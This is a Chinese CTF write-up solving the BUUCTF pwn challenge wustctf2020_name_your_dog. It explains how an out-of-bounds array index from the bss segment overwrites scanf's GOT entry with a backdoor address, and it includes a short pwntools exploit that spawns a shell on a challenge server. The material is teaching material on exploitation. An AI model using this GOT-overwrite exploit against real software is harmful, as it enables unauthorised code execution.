[BUUCTF]PWN——wustctf2020_name_your_dog(越界修改got表)

wustctf2020_name_your_dog

  1. 例行检查,32位程序,开启了canary和nx
    在这里插入图片描述

  2. 本地试运行一下看看大概的情况
    在这里插入图片描述

  3. 32位ida载入,检索字符的时候发现了后门函数,shell_addr=0x80485cb
    在这里插入图片描述

  4. 主要函数,感觉跟cat那题差不多 在这里插入图片描述

  5. 漏洞函数
    在这里插入图片描述
    跟cat又有点不一样,cat的参数存储在栈上,可以通过计算buf与ret的偏移来修改ret为后门,这次的buf在bss段,没法获取栈地址。

  6. bss段距离got表不远,这边的想法是将printf@got修改成后门函数,这样在调用printf的时候就能获取shell了。
    但是在计算偏移的时候发现print@got的偏移不是8的整数倍
    在这里插入图片描述
    print@got偏移=(0x804a00c-0x0804A060)/8=–10.5
    看Namewitch函数发现scanf函数也会执行,就转变该scanf@got了
    scanf@got偏移=(0x804a028-0x0804A060)/8=–7

exp:

from pwn import *
p = remote("node3.buuoj.cn",25798)
#p = process("./wustctf2020_name_your_dog")
shell = 0x080485CB
p.sendlineafter(">",'-7')
p.sendlineafter("Give your name plz: ",p32(shell))

p.interactive()

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/114946128